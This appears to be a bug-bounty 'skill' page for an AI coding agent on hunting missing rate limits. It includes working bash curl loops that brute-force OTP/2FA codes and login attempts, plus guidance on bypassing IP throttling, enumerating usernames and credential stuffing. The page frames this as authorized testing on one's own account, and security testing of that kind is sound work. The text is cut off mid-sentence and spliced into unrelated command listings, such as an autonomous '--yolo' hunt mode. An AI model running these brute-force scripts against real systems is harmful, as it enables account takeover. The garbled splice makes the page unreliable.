hunt-brute-force
**hunt-brute-force** detects missing or ineffective rate limiting on authentication endpoints including OTP/2FA verification, password-reset tokens, login forms, and username enumeration vectors. Use this skill when testing whether applications can withstand brute-force attacks across a full keyspace (6-digit OTP = 1 million combinations) and whether attackers can bypass soft IP-throttling via header injection or identify valid accounts through timing or error-message differences. Distinguishes hard lockout, soft IP throttling, CAPTCHA injection, and silent shadow-throttling to avoid false-negative conclusions.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-brute-force && cp -r /tmp/hunt-brute-force/skills/hunt-brute-force ~/.claude/skills/hunt-brute-forceSKILL.md
# HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration
> Grounding note: this skill is built from published technique classes, not from a
> curated set of named HackerOne reports. `report_count` is intentionally `0` — do
> not cite an exact payout or report ID you cannot verify. Where a public case is
> well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation
> research, 2019–2021), it is named below as a *technique reference*, not a payout claim.
## Crown Jewel Targets
OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.
**Highest-value chains:**
- **OTP / 2FA brute → MFA bypass → ATO** — no effective rate limit on `/verify-otp`, full 000000–999999 keyspace reachable
- **Password-reset token brute** — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
- **Username/email enumeration → targeted credential stuffing** — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
- **Coupon / gift-card / referral code brute** — no rate limit on code validation → financial impact
- **ReDoS** — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS
---
## CRITICAL: Four rate-limit states — do not collapse them
A `200`/`401` with no `429` does **not** mean "no rate limiting". A rate-limiting
skill that only checks for `429`/lockout produces false negatives. Classify the
defense BEFORE concluding, by sending a burst of ~50 requests and watching the
*full* response (status, body, headers, latency, and downstream success):
| State | Signal | Brute still feasible? |
|-------|--------|-----------------------|
| **Hard account lockout** | account disabled after N fails; later *correct* creds also fail | No (but lockout itself can be a DoS finding) |
| **Soft IP throttle** | `429` / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |
| **CAPTCHA injection** | `200` but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |
| **Silent shadow-throttle** | `200`/`401` returned for every request, but submissions are *dropped* — the genuinely-correct OTP/password stops being accepted, or responses become canned | **This is the trap.** A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |
**Shadow-throttle detector** — inject a known-good value at a known position and
confirm it still works under load:
```bash
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456" # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.
```
---
## Step-by-Step Hunting Methodology
### Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
```bash
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
# - status flips to 429 / 403 → soft throttle or lockout
# - body grows / CAPTCHA token appears → CAPTCHA injection
# - latency climbs while status stays 401 → shadow throttle
# - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
```
### Phase 2 — OTP / 2FA Brute Force
```bash
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"
# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
# - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
# - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
# - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
# Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
# code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 agRun autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Active vulnerability hunting. Two-track dispatcher — asks Red Team vs WAPT, hands off to hunt-dispatch skill and sibling commands. Usage: /hunt target.com | /hunt *.target.com | /hunt targets.txt [--vuln-class X] [--source-code P] [--chrome]
On-demand intelligence fetch for a target — CVEs, disclosed reports, new features. Wraps learn.py + hunt memory context. Usage: /intel target.com
Inspect or rotate hunt-memory JSONL files (audit.jsonl, patterns.jsonl, journal.jsonl). Caps file size and keeps N rotated backups so memory does not grow unbounded.
Pick up a previous hunt on a target — shows hunt history, untested endpoints, and memory-informed suggestions. Usage: /pickup target.com
Run full recon pipeline on a target — subdomain enum (Chaos API + subfinder), live host discovery (dnsx + httpx), URL crawl (katana + waybackurls + gau), gf pattern classification, nuclei scan. Outputs to recon/<target>/ directory. Usage: /recon target.com
Log current finding or successful pattern to hunt memory. Auto-fills from /validate output if available. Usage: /remember